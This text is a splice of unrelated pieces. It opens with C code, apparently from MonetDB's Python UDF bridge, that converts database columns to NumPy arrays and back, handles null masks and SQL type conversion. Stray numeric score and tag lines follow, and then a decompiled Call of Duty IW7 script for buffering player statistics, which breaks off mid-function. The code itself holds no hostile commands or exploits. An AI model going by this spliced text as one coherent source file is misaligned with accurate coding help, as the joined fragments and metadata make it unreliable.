PyObject *PyArrayObject_FromBAT(PyInput *inp, size_t t_start, size_t t_end, char **return_message, bool copy) { // This variable will hold the converted Python object PyObject *vararray = NULL; char *msg; size_t j = 0; BUN p = 0, q = 0; BATiter li; BAT *b = inp->bat; npy_intp elements[1] = {t_end - t_start}; assert(!inp->scalar); // input has to be a BAT if (!b) { // No BAT was found, we can't do anything in this case msg = createException(MAL, "pyapi3.eval", SQLSTATE(HY013) MAL_MALLOC_FAIL " bat missing"); goto wrapup; } if (!IsVoidType(inp->bat_type) && !IsBlobType(inp->bat_type) && (!IsStandardBATType(inp->bat_type) || ConvertableSQLType(inp->sql_subtype))) { // if the sql type is set, we // have to do some conversion if (inp->scalar) { // FIXME: scalar SQL types msg = createException( MAL, "pyapi3.eval", SQLSTATE(0A000) "Scalar SQL types haven't been implemented yet... sorry"); goto wrapup; } else { BAT *ret_bat = NULL; msg = ConvertFromSQLType(inp->bat, inp->sql_subtype, &ret_bat, &inp->bat_type); if (msg != MAL_SUCCEED) { freeException(msg); msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to convert BAT."); goto wrapup; } b = ret_bat; } } if (IsBlobType(inp->bat_type)) { PyObject **data; li = bat_iterator(b); vararray = PyArray_EMPTY(1, elements, NPY_OBJECT, 0); data = PyArray_DATA((PyArrayObject *)vararray); BATloop(b, p, q) { blob *t = (blob *)BUNtvar(li, p); if (t->nitems == ~(size_t)0) { data[p] = Py_None; Py_INCREF(Py_None); } else { data[p] = PyByteArray_FromStringAndSize(t->data, t->nitems); } } } else { switch (inp->bat_type) { case TYPE_void: #if SIZEOF_OID == SIZEOF_INT BAT_TO_NP_CREATE_ALWAYS(b, NPY_UINT); #else BAT_TO_NP_CREATE_ALWAYS(b, NPY_ULONGLONG); #endif break; case TYPE_oid: #if SIZEOF_OID == SIZEOF_INT BAT_TO_NP(b, oid, NPY_UINT32); #else BAT_TO_NP(b, oid, NPY_UINT64); #endif break; case TYPE_bit: BAT_TO_NP(b, bit, NPY_INT8); break; case TYPE_bte: BAT_TO_NP(b, bte, NPY_INT8); break; case TYPE_sht: BAT_TO_NP(b, sht, NPY_INT16); break; case TYPE_int: BAT_TO_NP(b, int, NPY_INT32); break; case TYPE_lng: BAT_TO_NP(b, lng, NPY_INT64); break; case TYPE_flt: BAT_TO_NP(b, flt, NPY_FLOAT32); break; case TYPE_dbl: BAT_TO_NP(b, dbl, NPY_FLOAT64); break; case TYPE_str: { bool unicode = false; li = bat_iterator(b); // create a NPY_OBJECT array object vararray = PyArray_New(&PyArray_Type, 1, elements, NPY_OBJECT, NULL, NULL, 0, 0, NULL); BATloop(b, p, q) { char *t = (char *)BUNtvar(li, p); for (; *t != 0; t++) { if (*t & 0x80) { unicode = true; break; } } if (unicode) { break; } } { PyObject **data = ((PyObject **)PyArray_DATA((PyArrayObject *)vararray)); PyObject *obj; j = 0; if (unicode) { if (GDK_ELIMDOUBLES(b->tvheap)) { PyObject **pyptrs = GDKzalloc(b->tvheap->free * sizeof(PyObject *)); if (!pyptrs) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(HY013) MAL_MALLOC_FAIL " PyObject strings."); goto wrapup; } BATloop(b, p, q) { const char *t = (const char *)BUNtvar(li, p); ptrdiff_t offset = t - b->tvheap->base; if (!pyptrs[offset]) { if (strNil(t)) { // str_nil isn't a valid UTF-8 character // (it's 0x80), so we can't decode it as // UTF-8 (it will throw an error) pyptrs[offset] = PyUnicode_FromString("-"); } else { // otherwise we can just decode the // string as UTF-8 pyptrs[offset] = PyUnicode_FromString(t); } if (!pyptrs[offset]) { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to create string."); goto wrapup; } } else { Py_INCREF(pyptrs[offset]); } data[j++] = pyptrs[offset]; } GDKfree(pyptrs); } else { BATloop(b, p, q) { char *t = (char *)BUNtvar(li, p); if (strNil(t)) { // str_nil isn't a valid UTF-8 character // (it's 0x80), so we can't decode it as // UTF-8 (it will throw an error) obj = PyUnicode_FromString("-"); } else { // otherwise we can just decode the string // as UTF-8 obj = PyUnicode_FromString(t); } if (obj == NULL) { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to create string."); goto wrapup; } data[j++] = obj; } } } else { /* special case where we exploit the * duplicate-eliminated string heap */ if (GDK_ELIMDOUBLES(b->tvheap)) { PyObject **pyptrs = GDKzalloc(b->tvheap->free * sizeof(PyObject *)); if (!pyptrs) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(HY013) MAL_MALLOC_FAIL " PyObject strings."); goto wrapup; } BATloop(b, p, q) { const char *t = (const char *)BUNtvar(li, p); ptrdiff_t offset = t - b->tvheap->base; if (!pyptrs[offset]) { pyptrs[offset] = PyString_FromString(t); } else { Py_INCREF(pyptrs[offset]); } data[j++] = pyptrs[offset]; } GDKfree(pyptrs); } else { BATloop(b, p, q) { char *t = (char *)BUNtvar(li, p); obj = PyString_FromString(t); if (obj == NULL) { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to create string."); goto wrapup; } data[j++] = obj; } } } } } break; #ifdef HAVE_HGE case TYPE_hge: { // create a NPY_FLOAT64 array to hold the huge type vararray = PyArray_New(&PyArray_Type, 1, (npy_intp[1]){t_end - t_start}, NPY_FLOAT64, NULL, NULL, 0, 0, NULL); j = 0; npy_float64 *data = (npy_float64 *)PyArray_DATA((PyArrayObject *)vararray); const hge *vals = (const hge *) Tloc(b, 0); BATloop(b, p, q) { data[j++] = (npy_float64)vals[p]; } break; } #endif default: if (!inp->sql_subtype || !inp->sql_subtype->type) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "unknown argument type"); } else { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Unsupported SQL Type: %s", inp->sql_subtype->type->sqlname); } goto wrapup; } } if (vararray == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to convert BAT to Numpy array."); goto wrapup; } if (b != inp->bat) BBPunfix(b->batCacheid); return vararray; wrapup: *return_message = msg; if (b != inp->bat) BBPunfix(b->batCacheid); return NULL; } #define CreateNullMask(tpe) \ { \ tpe *bat_ptr = (tpe *)b->theap.base; \ for (j = 0; j < count; j++) { \ mask_data[j] = is_##tpe##_nil(bat_ptr[j]); \ found_nil |= mask_data[j]; \ } \ } PyObject *PyNullMask_FromBAT(BAT *b, size_t t_start, size_t t_end) { // We will now construct the Masked array, we start by setting everything to // False size_t count = t_end - t_start; npy_intp elements[1] = {count}; PyArrayObject *nullmask = (PyArrayObject *)PyArray_EMPTY(1, elements, NPY_BOOL, 0); const void *nil = ATOMnilptr(b->ttype); size_t j; bool found_nil = false; BATiter bi = bat_iterator(b); bool *mask_data = (bool *)PyArray_DATA(nullmask); switch (ATOMbasetype(getBatType(b->ttype))) { case TYPE_bit: CreateNullMask(bit); break; case TYPE_bte: CreateNullMask(bte); break; case TYPE_sht: CreateNullMask(sht); break; case TYPE_int: CreateNullMask(int); break; case TYPE_lng: CreateNullMask(lng); break; case TYPE_flt: CreateNullMask(flt); break; case TYPE_dbl: CreateNullMask(dbl); break; #ifdef HAVE_HGE case TYPE_hge: CreateNullMask(hge); break; #endif default: { int (*atomcmp)(const void *, const void *) = ATOMcompare(b->ttype); for (j = 0; j < count; j++) { mask_data[j] = (*atomcmp)(BUNtail(bi, (BUN)(j)), nil) == 0; found_nil |= mask_data[j]; } } } if (!found_nil) { Py_DECREF(nullmask); Py_RETURN_NONE; } return (PyObject *)nullmask; } PyObject *PyDict_CheckForConversion(PyObject *pResult, int expected_columns, char **retcol_names, char **return_message) { char *msg = MAL_SUCCEED; PyObject *result = PyList_New(expected_columns), *keys = PyDict_Keys(pResult); int i; for (i = 0; i < expected_columns; i++) { PyObject *object = PyDict_GetItemString(pResult, retcol_names[i]); if (object == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Expected a return value with name \"%s\", but " "this key was not present in the dictionary.", retcol_names[i]); goto wrapup; } Py_INCREF(object); object = PyObject_CheckForConversion(object, 1, NULL, return_message); if (object == NULL) { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Error converting dict return value \"%s\": %s.", retcol_names[i], getExceptionMessage(*return_message)); GDKfree(*return_message); goto wrapup; } if (PyList_CheckExact(object)) { PyObject *item = PyList_GetItem(object, 0); PyList_SetItem(result, i, item); Py_INCREF(item); Py_DECREF(object); } else { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Why is this not a list?"); goto wrapup; } } Py_DECREF(keys); Py_DECREF(pResult); // Py_INCREF(result); return result; wrapup: *return_message = msg; Py_DECREF(result); Py_DECREF(keys); Py_DECREF(pResult); return NULL; } PyObject *PyObject_CheckForConversion(PyObject *pResult, int expected_columns, int *actual_columns, char **return_message) { char *msg; int columns = 0; if (pResult) { PyObject *pColO = NULL; if (PyType_IsPandasDataFrame(pResult)) { // the result object is a Pandas data frame // we can convert the pandas data frame to a numpy array by simply // accessing the "values" field (as pandas dataframes are numpy // arrays internally) pResult = PyObject_GetAttrString(pResult, "values"); if (pResult == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Invalid Pandas data frame."); goto wrapup; } // we transpose the values field so it's aligned correctly for our // purposes pResult = PyObject_GetAttrString(pResult, "T"); if (pResult == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Invalid Pandas data frame."); goto wrapup; } } if (PyType_IsPyScalar( pResult)) { // check if the return object is a scalar if (expected_columns == 1 || expected_columns <= 0) { // if we only expect a single return value, we can accept // scalars by converting it into an array holding an array // holding the element (i.e. [[pResult]]) PyObject *list = PyList_New(1); PyList_SetItem(list, 0, pResult); pResult = list; list = PyList_New(1); PyList_SetItem(list, 0, pResult); pResult = list; columns = 1; } else { // the result object is a scalar, yet we expect more than one // return value. We can only convert the result into a list with // a single element, so the output is necessarily wrong. msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "A single scalar was returned, yet we expect a list of %d " "columns. We can only convert a single scalar into a " "single column, thus the result is invalid.", expected_columns); goto wrapup; } } else { // if it is not a scalar, we check if it is a single array bool IsSingleArray = TRUE; PyObject *data = pResult; if (PyType_IsNumpyMaskedArray(data)) { data = PyObject_GetAttrString(pResult, "data"); if (data == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Invalid masked array."); goto wrapup; } } if (PyType_IsNumpyArray(data)) { if (PyArray_NDIM((PyArrayObject *)data) != 1) { IsSingleArray = FALSE; } else { pColO = PyArray_GETITEM( (PyArrayObject *)data, PyArray_GETPTR1((PyArrayObject *)data, 0)); IsSingleArray = PyType_IsPyScalar(pColO); } } else if (PyList_Check(data)) { pColO = PyList_GetItem(data, 0); IsSingleArray = PyType_IsPyScalar(pColO); } else if (!PyType_IsNumpyMaskedArray(data)) { // it is neither a python array, numpy array or numpy masked // array, thus the result is unsupported! Throw an exception! msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Unsupported result object. Expected either a list, " "dictionary, a numpy array, a numpy masked array or a " "pandas data frame, but received an object of type \"%s\"", PyString_AsString(PyObject_Str(PyObject_Type(data)))); goto wrapup; } if (IsSingleArray) { if (expected_columns == 1 || expected_columns <= 0) { // if we only expect a single return value, we can accept a // single array by converting it into an array holding an // array holding the element (i.e. [pResult]) PyObject *list = PyList_New(1); PyList_SetItem(list, 0, pResult); pResult = list; columns = 1; } else { // the result object is a single array, yet we expect more // than one return value. We can only convert the result // into a list with a single array, so the output is // necessarily wrong. msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "A single array was returned, yet we " "expect a list of %d columns. The " "result is invalid.", expected_columns); goto wrapup; } } else { // the return value is an array of arrays, all we need to do is // check if it is the correct size int results = 0; if (PyList_Check(data)) results = (int)PyList_Size(data); else results = (int)PyArray_DIMS((PyArrayObject *)data)[0]; columns = results; if (results != expected_columns && expected_columns > 0) { // wrong return size, we expect pci->retc arrays msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "An array of size %d was returned, " "yet we expect a list of %d columns. " "The result is invalid.", results, expected_columns); goto wrapup; } } } } else { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Invalid result object. No result object could be generated."); goto wrapup; } if (actual_columns != NULL) *actual_columns = columns; return pResult; wrapup: if (actual_columns != NULL) *actual_columns = columns; *return_message = msg; return NULL; } str PyObject_GetReturnValues(PyObject *obj, PyReturn *ret) { PyObject *pMask = NULL; str msg = MAL_SUCCEED; // If it isn't we need to convert pColO to the expected Numpy Array type ret->numpy_array = PyArray_FromAny( obj, NULL, 1, 1, NPY_ARRAY_CARRAY | NPY_ARRAY_FORCECAST, NULL); if (ret->numpy_array == NULL) { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "Could not create a Numpy array from the return type.\n"); goto wrapup; } ret->result_type = PyArray_DESCR((PyArrayObject *)ret->numpy_array) ->type_num; // We read the result type from the resulting array ret->memory_size = PyArray_DESCR((PyArrayObject *)ret->numpy_array)->elsize; ret->count = PyArray_DIMS((PyArrayObject *)ret->numpy_array)[0]; ret->array_data = PyArray_DATA((PyArrayObject *)ret->numpy_array); ret->mask_data = NULL; ret->numpy_mask = NULL; // If pColO is a Masked array, we convert the mask to a NPY_BOOL numpy array if (PyObject_HasAttrString(obj, "mask")) { pMask = PyObject_GetAttrString(obj, "mask"); if (pMask != NULL) { ret->numpy_mask = PyArray_FromAny(pMask, PyArray_DescrFromType(NPY_BOOL), 1, 1, NPY_ARRAY_CARRAY, NULL); if (ret->numpy_mask == NULL || PyArray_DIMS((PyArrayObject *)ret->numpy_mask)[0] != (int)ret->count) { PyErr_Clear(); pMask = NULL; ret->numpy_mask = NULL; } } } if (ret->numpy_mask != NULL) ret->mask_data = PyArray_DATA((PyArrayObject *)ret->numpy_mask); wrapup: return msg; } bool PyObject_PreprocessObject(PyObject *pResult, PyReturn *pyreturn_values, int column_count, char **return_message) { int i; char *msg; for (i = 0; i < column_count; i++) { // Refers to the current Numpy mask (if it exists) PyObject *pMask = NULL; // Refers to the current Numpy array PyObject *pColO = NULL; // This is the PyReturn header information for the current return value, // we will fill this now PyReturn *ret = &pyreturn_values[i]; ret->multidimensional = FALSE; // There are three possibilities (we have ensured this right after // executing the Python call by calling PyObject_CheckForConversion) // 1: The top level result object is a PyList or Numpy Array containing // pci->retc Numpy Arrays // 2: The top level result object is a (pci->retc x N) dimensional Numpy // Array [Multidimensional] // 3: The top level result object is a (pci->retc x N) dimensional Numpy // Masked Array [Multidimensional] if (PyList_Check(pResult)) { // If it is a PyList, we simply get the i'th Numpy array from the // PyList pColO = PyList_GetItem(pResult, i); } else { // If it isn't, the result object is either a Nump Masked Array or a // Numpy Array PyObject *data = pResult; if (PyType_IsNumpyMaskedArray(data)) { data = PyObject_GetAttrString( pResult, "data"); // If it is a Masked array, the data is // stored in the masked_array.data // attribute pMask = PyObject_GetAttrString(pResult, "mask"); } // We can either have a multidimensional numpy array, or a single // dimensional numpy array if (PyArray_NDIM((PyArrayObject *)data) != 1) { // If it is a multidimensional numpy array, we have to convert // the i'th dimension to a NUMPY array object ret->multidimensional = TRUE; ret->result_type = PyArray_DESCR((PyArrayObject *)data)->type_num; } else { // If it is a single dimensional Numpy array, we get the i'th // Numpy array from the Numpy Array pColO = PyArray_GETITEM((PyArrayObject *)data, PyArray_GETPTR1((PyArrayObject *)data, i)); } } // Now we have to do some preprocessing on the data if (ret->multidimensional) { // If it is a multidimensional Numpy array, we don't need to do any // conversion, we can just do some pointers ret->count = PyArray_DIMS((PyArrayObject *)pResult)[1]; ret->numpy_array = pResult; ret->numpy_mask = pMask; ret->array_data = PyArray_DATA((PyArrayObject *)ret->numpy_array); if (ret->numpy_mask != NULL) ret->mask_data = PyArray_DATA((PyArrayObject *)ret->numpy_mask); ret->memory_size = PyArray_DESCR((PyArrayObject *)ret->numpy_array)->elsize; } else { msg = PyObject_GetReturnValues(pColO, ret); if (msg != MAL_SUCCEED) { goto wrapup; } } } return TRUE; wrapup: *return_message = msg; return FALSE; } BAT *PyObject_ConvertToBAT(PyReturn *ret, sql_subtype *type, int bat_type, int i, oid seqbase, char **return_message, bool copy) { BAT *b = NULL; size_t index_offset = 0; char *msg; size_t iu; if (ret->multidimensional) index_offset = i; switch (GetSQLType(type)) { case EC_TIMESTAMP: case EC_TIME: case EC_DATE: bat_type = TYPE_str; break; case EC_DEC: bat_type = TYPE_dbl; break; default: break; } if (IsBlobType(bat_type)) { bool *mask = NULL; char *data = NULL; blob *ele_blob; size_t blob_fixed_size = ret->memory_size; PyObject *pickle_module = NULL, *pickle = NULL; bool gstate = 0; if (ret->result_type == NPY_OBJECT) { // Python objects, we may need to pickle them, so we // may execute Python code, we have to obtain the GIL gstate = Python_ObtainGIL(); pickle_module = PyImport_ImportModule("pickle"); if (pickle_module == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Can't load pickle module to pickle python object to blob"); Python_ReleaseGIL(gstate); goto wrapup; } blob_fixed_size = 0; // Size depends on the objects } if (ret->mask_data != NULL) { mask = (bool *)ret->mask_data; } if (ret->array_data == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "No return value stored in the structure."); if (ret->result_type == NPY_OBJECT) { Py_XDECREF(pickle_module); Python_ReleaseGIL(gstate); } goto wrapup; } data = (char *)ret->array_data; data += (index_offset * ret->count) * ret->memory_size; b = COLnew(seqbase, TYPE_blob, (BUN)ret->count, TRANSIENT); b->tnil = false; b->tnonil = true; b->tkey = false; b->tsorted = false; b->trevsorted = false; for (iu = 0; iu < ret->count; iu++) { char* memcpy_data; size_t blob_len = 0; if (ret->result_type == NPY_OBJECT) { PyObject *object = *((PyObject **)&data[0]); if (PyByteArray_Check(object)) { memcpy_data = PyByteArray_AsString(object); blob_len = pyobject_get_size(object); } else { pickle = PyObject_CallMethod(pickle_module, "dumps", "O", object); if (pickle == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Can't pickle object to blob"); Py_XDECREF(pickle_module); Python_ReleaseGIL(gstate); goto wrapup; } memcpy_data = PyBytes_AsString(pickle); blob_len = pyobject_get_size(pickle); Py_XDECREF(pickle); } if (memcpy_data == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Can't get blob pickled object as char*"); Py_XDECREF(pickle_module); Python_ReleaseGIL(gstate); goto wrapup; } } else { memcpy_data = data; } if (mask && mask[iu]) { ele_blob = (blob *)GDKmalloc(offsetof(blob, data)); ele_blob->nitems = ~(size_t)0; } else { if (blob_fixed_size > 0) { blob_len = blob_fixed_size; } ele_blob = GDKmalloc(blobsize(blob_len)); ele_blob->nitems = blob_len; memcpy(ele_blob->data, memcpy_data, blob_len); } if (BUNappend(b, ele_blob, FALSE) != GDK_SUCCEED) { if (ret->result_type == NPY_OBJECT) { Py_XDECREF(pickle_module); Python_ReleaseGIL(gstate); } BBPunfix(b->batCacheid); msg = createException(MAL, "pyapi3.eval", SQLSTATE(HY013) MAL_MALLOC_FAIL); goto wrapup; } GDKfree(ele_blob); data += ret->memory_size; } // We are done, we can release the GIL if (ret->result_type == NPY_OBJECT) { Py_XDECREF(pickle_module); Python_ReleaseGIL(gstate); } BATsetcount(b, (BUN)ret->count); BATsettrivprop(b); } else { switch (bat_type) { case TYPE_void: NP_CREATE_EMPTY_BAT(b, oid); break; case TYPE_bit: NP_CREATE_BAT(b, bit); break; case TYPE_bte: NP_CREATE_BAT(b, bte); break; case TYPE_sht: NP_CREATE_BAT(b, sht); break; case TYPE_int: NP_CREATE_BAT(b, int); break; case TYPE_oid: NP_CREATE_BAT(b, oid); break; case TYPE_lng: NP_CREATE_BAT(b, lng); break; case TYPE_flt: NP_CREATE_BAT(b, flt); break; case TYPE_dbl: NP_CREATE_BAT(b, dbl); break; #ifdef HAVE_HGE case TYPE_hge: NP_CREATE_BAT(b, hge); break; #endif case TYPE_str: { bool *mask = NULL; char *data = NULL; char *utf8_string = NULL; if (ret->mask_data != NULL) { mask = (bool *)ret->mask_data; } if (ret->array_data == NULL) { msg = createException( MAL, "pyapi3.eval", SQLSTATE(PY000) "No return value stored in the structure. n"); goto wrapup; } data = (char *)ret->array_data; if (ret->result_type != NPY_OBJECT) { utf8_string = GDKzalloc(utf8string_minlength + ret->memory_size + 1); utf8_string[utf8string_minlength + ret->memory_size] = '\0'; } b = COLnew(seqbase, TYPE_str, (BUN)ret->count, TRANSIENT); b->tnil = false; b->tnonil = true; b->tkey = false; b->tsorted = false; b->trevsorted = false; NP_INSERT_STRING_BAT(b); if (utf8_string) GDKfree(utf8_string); BATsetcount(b, (BUN)ret->count); BATsettrivprop(b); break; } default: msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Unrecognized BAT type %s.\n", BatType_Format(bat_type)); goto wrapup; } } if (ConvertableSQLType(type)) { BAT *result; msg = ConvertToSQLType(NULL, b, type, &result, &bat_type); if (msg != MAL_SUCCEED) { goto wrapup; } b = result; } return b; wrapup: *return_message = msg; return NULL; } bit ConvertableSQLType(sql_subtype *sql_subtype) { switch (GetSQLType(sql_subtype)) { case EC_DATE: case EC_TIME: case EC_TIMESTAMP: case EC_DEC: return 1; } return 0; } int GetSQLType(sql_subtype *sql_subtype) { if (!sql_subtype) return -1; if (!sql_subtype->type) return -1; return (int) sql_subtype->type->eclass; } str ConvertFromSQLType(BAT *b, sql_subtype *sql_subtype, BAT **ret_bat, int *ret_type) { str res = MAL_SUCCEED; int conv_type; assert(sql_subtype); assert(sql_subtype->type); switch (sql_subtype->type->eclass) { case EC_DATE: case EC_TIME: case EC_TIMESTAMP: conv_type = TYPE_str; break; case EC_DEC: conv_type = TYPE_dbl; break; default: conv_type = TYPE_str; } if (conv_type == TYPE_str) { BATiter li = bat_iterator(b); BUN p = 0, q = 0; char *result = NULL; size_t length = 0; ssize_t (*strConversion)(str *, size_t *, const void *, bool) = BATatoms[b->ttype].atomToStr; *ret_bat = COLnew(0, TYPE_str, 0, TRANSIENT); *ret_type = conv_type; if (!(*ret_bat)) { return createException(MAL, "pyapi3.eval", SQLSTATE(HY013) MAL_MALLOC_FAIL " string conversion BAT."); } BATloop(b, p, q) { void *element = (void *)BUNtail(li, p); if (strConversion(&result, &length, element, false) < 0) { BBPunfix((*ret_bat)->batCacheid); return createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to convert element to string."); } if (BUNappend(*ret_bat, result, false) != GDK_SUCCEED) { BBPunfix((*ret_bat)->batCacheid); throw(MAL, "pyapi3.eval", SQLSTATE(HY013) MAL_MALLOC_FAIL); } } if (result) { GDKfree(result); } return res; } else if (conv_type == TYPE_dbl) { int bat_type = ATOMstorage(b->ttype); int hpos = sql_subtype->scale; bat result = 0; // decimal values can be stored in various numeric fields, so check the // numeric field and convert the one it's actually stored in switch (bat_type) { case TYPE_bte: res = batbte_dec2_dbl(&result, &hpos, &b->batCacheid, NULL); break; case TYPE_sht: res = batsht_dec2_dbl(&result, &hpos, &b->batCacheid, NULL); break; case TYPE_int: res = batint_dec2_dbl(&result, &hpos, &b->batCacheid, NULL); break; case TYPE_lng: res = batlng_dec2_dbl(&result, &hpos, &b->batCacheid, NULL); break; #ifdef HAVE_HGE case TYPE_hge: res = bathge_dec2_dbl(&result, &hpos, &b->batCacheid, NULL); break; #endif default: return createException(MAL, "pyapi3.eval", "Unsupported decimal storage type."); } if (res == MAL_SUCCEED) { *ret_bat = BATdescriptor(result); *ret_type = TYPE_dbl; } else { *ret_bat = NULL; } return res; } return createException(MAL, "pyapi3.eval", "Unrecognized conv type."); } str ConvertToSQLType(Client cntxt, BAT *b, sql_subtype *sql_subtype, BAT **ret_bat, int *ret_type) { str res = MAL_SUCCEED; bat result_bat = 0; int digits = sql_subtype->digits; int scale = sql_subtype->scale; (void)cntxt; assert(sql_subtype); assert(sql_subtype->type); switch (sql_subtype->type->eclass) { case EC_TIMESTAMP: res = batstr_2time_timestamp(&result_bat, &b->batCacheid, NULL, &digits); break; case EC_TIME: res = batstr_2time_daytime(&result_bat, &b->batCacheid, NULL, &digits); break; case EC_DATE: res = batstr_2_date(&result_bat, &b->batCacheid, NULL); break; case EC_DEC: res = batdbl_num2dec_lng(&result_bat, &b->batCacheid, NULL, &digits, &scale); break; default: return createException( MAL, "pyapi3.eval", "Convert To SQL Type: Unrecognized SQL type %s (%d).", sql_subtype->type->sqlname, (int) sql_subtype->type->eclass); } if (res == MAL_SUCCEED) { *ret_bat = BATdescriptor(result_bat); *ret_type = (*ret_bat)->ttype; } return res; } ssize_t PyType_Size(PyObject *obj) { if (PyType_IsPyScalar(obj)) { return 1; } if (PyArray_Check(obj)) { return PyArray_Size(obj); } if (PyList_Check(obj)) { return Py_SIZE(obj); } return -1; } bit IsStandardBATType(int type) { switch (type) { case TYPE_bit: case TYPE_bte: case TYPE_sht: case TYPE_int: case TYPE_oid: case TYPE_lng: case TYPE_flt: case TYPE_dbl: #ifdef HAVE_HGE case TYPE_hge: #endif case TYPE_str: return 1; default: return 0; } } static void conversion_import_array(void) { _import_array(); } str _conversion_init(void) { str msg = MAL_SUCCEED; conversion_import_array(); return msg; }
1
0.835927
1
0.835927
game-dev
MEDIA
0.231373
game-dev
0.884046
1
0.884046
SyndiShanX/Synergy-IW-GSC-Menu
16,164
IW7-GSC/scripts/mp/persistence.gsc
/************************************** * Decompiled by Bog * Edited by SyndiShanX * Script: scripts\mp\persistence.gsc **************************************/ init() { level.persistentdatainfo = []; level thread func_12E6A(); level thread func_12F85(); level thread func_13E05(); } initbufferedstats() { self.bufferedstats = []; self.squadmemberbufferedstats = []; if(scripts\mp\utility::rankingenabled()) { self.bufferedstats["totalShots"] = self getplayerdata("mp", "totalShots"); self.bufferedstats["accuracy"] = self getplayerdata("mp", "accuracy"); self.bufferedstats["misses"] = self getplayerdata("mp", "misses"); self.bufferedstats["hits"] = self getplayerdata("mp", "hits"); } self.bufferedstats["timePlayedAllies"] = self getplayerdata("mp", "timePlayedAllies"); self.bufferedstats["timePlayedOpfor"] = self getplayerdata("mp", "timePlayedOpfor"); self.bufferedstats["timePlayedOther"] = self getplayerdata("mp", "timePlayedOther"); self.bufferedstats["timePlayedTotal"] = self getplayerdata("mp", "timePlayedTotal"); self.bufferedchildstats = []; self.bufferedchildstats["round"] = []; self.bufferedchildstats["round"]["timePlayed"] = self getplayerdata("common", "round", "timePlayed"); if(scripts\mp\utility::rankingenabled()) { self.bufferedchildstats["xpMultiplierTimePlayed"] = []; self.bufferedchildstats["xpMultiplierTimePlayed"][0] = self getplayerdata("mp", "xpMultiplierTimePlayed", 0); self.bufferedchildstats["xpMultiplierTimePlayed"][1] = self getplayerdata("mp", "xpMultiplierTimePlayed", 1); self.bufferedchildstats["xpMultiplierTimePlayed"][2] = self getplayerdata("mp", "xpMultiplierTimePlayed", 2); self.bufferedchildstatsmax["xpMaxMultiplierTimePlayed"] = []; self.bufferedchildstatsmax["xpMaxMultiplierTimePlayed"][0] = self getplayerdata("mp", "xpMaxMultiplierTimePlayed", 0); self.bufferedchildstatsmax["xpMaxMultiplierTimePlayed"][1] = self getplayerdata("mp", "xpMaxMultiplierTimePlayed", 1); self.bufferedchildstatsmax["xpMaxMultiplierTimePlayed"][2] = self getplayerdata("mp", "xpMaxMultiplierTimePlayed", 2); self.bufferedchildstats["challengeXPMultiplierTimePlayed"] = []; self.bufferedchildstats["challengeXPMultiplierTimePlayed"][0] = self getplayerdata("mp", "challengeXPMultiplierTimePlayed", 0); self.bufferedchildstatsmax["challengeXPMaxMultiplierTimePlayed"] = []; self.bufferedchildstatsmax["challengeXPMaxMultiplierTimePlayed"][0] = self getplayerdata("mp", "challengeXPMaxMultiplierTimePlayed", 0); self.bufferedchildstats["weaponXPMultiplierTimePlayed"] = []; self.bufferedchildstats["weaponXPMultiplierTimePlayed"][0] = self getplayerdata("mp", "weaponXPMultiplierTimePlayed", 0); self.bufferedchildstatsmax["weaponXPMaxMultiplierTimePlayed"] = []; self.bufferedchildstatsmax["weaponXPMaxMultiplierTimePlayed"][0] = self getplayerdata("mp", "weaponXPMaxMultiplierTimePlayed", 0); self.bufferedstats["prestigeDoubleWeaponXp"] = self getplayerdata("mp", "prestigeDoubleWeaponXp"); self.bufferedstats["prestigeDoubleWeaponXpTimePlayed"] = self getplayerdata("mp", "prestigeDoubleWeaponXpTimePlayed"); self.bufferedstatsmax["prestigeDoubleWeaponXpMaxTimePlayed"] = self getplayerdata("mp", "prestigeDoubleWeaponXpMaxTimePlayed"); } initbestscorestatstable(); } initbestscorestatstable() { var_00 = "mp\bestscorestatsTable.csv"; self.bestscorestats = []; self.bufferedbestscorestats = []; var_01 = 0; for (;;) { var_02 = tablelookupbyrow(var_00, var_01, 0); if(var_02 == "") { break; } self.bestscorestats[var_02] = self getplayerdata("mp", "bestScores", var_02); var_01++; } } statget(param_00) { return self getplayerdata("mp", param_00); } func_10E54(param_00, param_01) { if(!scripts\mp\utility::rankingenabled()) { return; } self setplayerdata("mp", param_00, param_01); } statadd(param_00, param_01, param_02) { if(!scripts\mp\utility::rankingenabled()) { return; } if(isdefined(param_02)) { var_03 = self getplayerdata("mp", param_00, param_02); self setplayerdata("mp", param_00, param_02, param_01 + var_03); return; } var_04 = self getplayerdata("mp", param_00) + param_01; self setplayerdata("mp", param_00, var_04); } statgetchild(param_00, param_01) { if(param_00 == "round") { return self getplayerdata("common", param_00, param_01); } return self getplayerdata("mp", param_00, param_01); } statsetchild(param_00, param_01, param_02, param_03) { if(isagent(self)) { return; } if(isdefined(param_03) || !scripts\mp\utility::rankingenabled()) { return; } if(param_00 == "round") { self setplayerdata("common", param_00, param_01, param_02); setbestscore(param_01, param_02); return; } self setplayerdata("mp", param_00, param_01, param_02); } stataddchild(param_00, 